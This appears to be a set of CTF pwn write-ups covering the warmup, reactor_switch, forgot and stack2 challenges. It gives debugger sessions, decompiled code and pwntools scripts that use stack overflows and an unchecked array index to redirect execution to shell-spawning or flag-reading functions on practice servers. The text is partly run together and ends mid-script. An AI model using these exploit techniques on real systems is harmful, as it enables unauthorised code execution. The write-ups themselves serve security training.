$ gdb ./warmup -q GEF for linux ready, type `gef` to start, `gef config` to configure 88 commands loaded for GDB 9.2 using Python engine 3.8 Reading symbols from ./warmup... (No debugging symbols found in ./warmup) gef➤ b gets Breakpoint 1 at 0x400500 ... gef➤ # input aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ... Program received signal SIGSEGV, Segmentation fault. 0x00000000004006a4 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────── registers ──── $rax : 0x00007fffffffe1e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $rbx : 0x0 $rcx : 0x00007ffff7fbc980 → 0x00000000fbad2288 $rdx : 0x0 $rsp : 0x00007fffffffe228 → "saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfa[...]" $rbp : 0x6161617261616171 ("qaaaraaa"?) $rsi : 0x00000000006022a1 → "aaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaa[...]" $rdi : 0x00007ffff7fbf4d0 → 0x0000000000000000 $rip : 0x00000000004006a4 → ret $r8 : 0x00007fffffffe1e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]" $r9 : 0x0 $r10 : 0x410 $r11 : 0x246 $r12 : 0x0000000000400520 → xor ebp, ebp $r13 : 0x00007fffffffe300 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ────────────────────────────── stack ──── 0x00007fffffffe228│+0x0000: "saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfa[...]" ← $rsp 0x00007fffffffe230│+0x0008: "uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha[...]" 0x00007fffffffe238│+0x0010: "waaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabja[...]" 0x00007fffffffe240│+0x0018: "yaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaabla[...]" 0x00007fffffffe248│+0x0020: "baabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabna[...]" 0x00007fffffffe250│+0x0028: "daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpa[...]" 0x00007fffffffe258│+0x0030: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]" 0x00007fffffffe260│+0x0038: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]" ──────────────────────── code:x86:64 ──── 0x400699 mov eax, 0x0 0x40069e call 0x400500 <gets@plt> 0x4006a3 leave → 0x4006a4 ret [!] Cannot disassemble from $PC ──────────────────────────── threads ──── [#0] Id 1, Name: "warmup", stopped 0x4006a4 in ?? (), reason: SIGSEGV ────────────────────────────── trace ──── [#0] 0x4006a4 → ret ───────────────────────────────────────── gef➤
Remember to break at the last ret (belongs to main()), so the rsp now stores the future rip. rsp starts with saaa, then use cyclic to calculate the offset (rbp that starts with qaaa can also be used, but remember to add 8 bytes):
Attachment: reactor_switch Description: Lil M discovered the interface of a nitrification reactor in a TNT production line in a private mine. She suspects that this factory might be engaged in the production of underground munitions, so Lil M intends to interfere with the operation of this TNT production line by closing the reactor, but the reactor has multiple gates, so she has to find a way to help her close all the gates.
Information
Check:
1 2 3 4 5 6 7 8 9
$ file reactor_switch reactor_switch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6145840505e7d75d0020a02b556136ce4c936ed9, not stripped $ checksec reactor_switch [*] '/root/reactor_switch' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
write(1, "You have closed the first switch\n", 0x22uLL); write(1, "Please closing the third reaction kettle\n", 0x2AuLL); write(1, "The switch is:", 0xEuLL); sprintf(&s, "%p\n", shell); write(1, &s, 9uLL); write(1, ">", 2uLL); returngets(&v2, ">"); }
shell:
1 2 3 4
intshell() { returnsystem("/bin/sh"); }
Addresses:
1 2 3 4
easy 00000000004006B0 main 0000000000400759 normal 0000000000400607 shell 00000000004005F6
Analysis
Well, according to the description, I thought it would be a series of tasks. As for the codes, It seems to let us overflow 3 times to get shell. For one thing, the program wasn’t written carefully since it always prints You have closed the first switch in main(), easy() and normal() (should be 1st, 2nd and 3rd, right?); for another thing, as we just want to get shell, we can overflow just once (unexpect solution: overflow to return to shell()).
Offsets for three functions: 0x200 for main(); 0x180 for easy(); 0x100 for normal().
Exploit
From main() return to easy() to normal() to shell():
Attachment: forgot Description: Fawkes has been playing around with Finite State Automaton lately. While exploring the concept of implementing regular expressions using FSA he thought of implementing an email-address validator. Recently, Lua started to annoy Fawkes. To this, Fawkes, challenged Lua to a battle of wits. Fawkes promised to reward Lua, only if she manages to transition to a non-reachable state in the FSA he implemented. The replication can be accessed here.
Information
Check:
1 2 3 4 5 6 7 8 9
$ file forgot forgot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=35930a2d9b048236694e9611073b759e1c88b8c4, stripped $ checksec forgot [*] '/root/forgot' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
The whole routine of this program is to validate your mail address: first input your name string, then input the mail address to validate.
Our name will be saved in s, and our mail address will be saved on v2, while the magic function sub_80486CC empower us to cat the flag. Remember (*(&v3 + --v14))(); at the tail of main()? It executes what &v3 + --v14 points to, so v3 is clearly where we should overflow.
char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]
Vulnerability appears at __isoc99_scanf("%s", v2);, and the offset is easy to confirm, right? No no no, what exactly &v3 + --v14 means? The switch ... case statements is long but easy to understand, so if we dont let sub_8048702 and other conditions be true, v14 will always be 1, and &v3 + --v14 will always be &3.
How to get sub_8048702 false? After looking up the ASCII table, we can see all the uppercase letters are ok.
Eventually we get our exploit
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
from pwn import *
context(os='linux', arch='i386') sh = process('forgot') sh = remote('220.249.52.133',43897) shelf = ELF('forgot')
cat_flag_addr = 0x80486CC
print sh.recv() # What is your name? sh.sendline('name') print sh.recv() # Enter the string to be validate sh.sendline('A'*0x20 + p32(cat_flag_addr))
sh.interactive()
Another payload is also ok:
1
payload = "a" * 32 + "a" * 4 + p32(flag_addr)
A more concise payload is:
1 2 3 4 5 6 7 8 9 10 11 12 13
#!/usr/bin/env python # coding=utf-8 from pwn import * context(arch = 'i386', os = 'linux') r = remote('220.249.52.133',43897) overflow = "A"*63 addr = 0x080486cc overflow += p32(addr) r.send(overflow + "\n") r.recvuntil("Enter the string to be validate") flag = r.recv() print"[*] Flag: " + flag r.close()
Here is 63 because it inputs from name part, and it only receive 32 bytes but including 1 \x00, so still 32 left for v2 part.
v14 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); v9 = 0; puts("***********************************************************"); puts("* An easy calc *"); puts("*Give me your numbers and I will return to you an average *"); puts("*(0 <= x < 256) *"); puts("***********************************************************"); puts("How many numbers you have:"); __isoc99_scanf("%d", &v5); puts("Give me your numbers"); for ( i = 0; i < v5 && (signedint)i <= 99; ++i ) { __isoc99_scanf("%d", &v7); v13[i] = v7; } for ( j = v5; ; printf("average is %.2lf\n", (double)((longdouble)v9 / (double)j)) ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit"); __isoc99_scanf("%d", &v6); if ( v6 != 2 ) break; puts("Give me your number"); __isoc99_scanf("%d", &v7); if ( j <= 0x63 ) { v3 = j++; v13[v3] = v7; } } if ( v6 > 2 ) break; if ( v6 != 1 ) return0; puts("id\t\tnumber"); for ( k = 0; k < j; ++k ) printf("%d\t\t%d\n", k, v13[k]); } if ( v6 != 3 ) break; puts("which number to change:"); __isoc99_scanf("%d", &v5); puts("new number:"); __isoc99_scanf("%d", &v7); v13[v5] = v7; } if ( v6 != 4 ) break; v9 = 0; for ( l = 0; l < j; ++l ) v9 += v13[l]; } return0; }
hackhere:
1 2 3 4
inthackhere() { returnsystem("/bin/bash"); }
Address:
1 2 3 4 5 6 7
# hackhere() hackhere 0804859B # system plt .plt:08048450 jmp ds:off_804A018 .plt:08048450 _system endp # 'sh' string included .rodata:08048980 command db '/bin/bash',0 ; DATA XREF: hackhere+14↑o
Analysis
Still a ret2text(return to .text). Vulnerability exists in main(), belongs to change number subfunction:
1 2 3 4 5 6 7 8
if ( v6 != 3 ) break; puts("which number to change:"); __isoc99_scanf("%d", &v5); puts("new number:"); __isoc99_scanf("%d", &v7); v13[v5] = v7; <--------vulnerable }
The index of the array is totally controlled by our input, with no border check, which leads to writing anywhere (the value is controlled by us as well).
The final goal seems to be hackhere(), we can overwrite ret addr on the stack to execute that function, so the next step is to calculate the target offset/index of array v13.
Though we have can see pseudocodes produced by IDA pro indicates the distance from ebp to v13:
1
char v13[100]; // [esp+38h] [ebp-70h]
But it uses Canary protection mechanism, memory mapping is like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | local variables | Low | | Address
So v13 may be at ebp-0x70 but ret addr may not be at ebp-0x70+0x4 (due to the canary). The truth is: the exact offset can only be confirmed after dynamic debugging. We have to find out which part of the stack is ret addr, and where is array v13 saved, then calculate the offset.
First we seek where v13 is. I choose to input a unique number, then locate it on the stack. Since it is little-endian, we input 4 numbers: 120(0x78), 86(0x56), 52(0x34) and 18(0x12). Next search 0x12345678 on the main() stack frame:
$ gdb ./stack2 -q GEF for linux ready, type `gef` to start, `gef config` to configure 88 commands loaded for GDB 9.2 using Python engine 3.8 Reading symbols from ./stack2... (No debugging symbols found in ./stack2) gef➤ b main Breakpoint 1 at 0x80485de gef➤ r Starting program: /root/stack2
Another method to calculate the offset is: get ebp after stepping into main(), then get esp before ret, the offset should be: offset/index = esp - v13 = esp - (ebp - 0x70).
$ python stack2.py [+] Starting local process './stack2': pid 4024 [+] Opening connection to 220.249.52.133 on port 34138: Done [*] Switching to interactive mode 1. show numbers 2. add number 3. change number 4. get average 5. exit sh: 1: /bin/bash: not found [*] Got EOF while reading in interactive $
As sh: 1: /bin/bash: not found, we can only build another system call by using rop gadgets. We can build system('sh') using the last two chars of /bin/bash, so the final exploit goes like:
sh = process("./stack2") sh = remote("220.249.52.133", 34138) hackhere = '0x0804859B' sh.recvuntil("How many numbers you have:\n") sh.sendline("1") sh.recvuntil("Give me your numbers\n") sh.sendline("1")
defchange(addr, num): sh.recvuntil("5. exit\n") sh.sendline("3") sh.recvuntil("which number to change:\n") sh.sendline(str(addr)) sh.recvuntil("new number:\n") sh.sendline(str(num))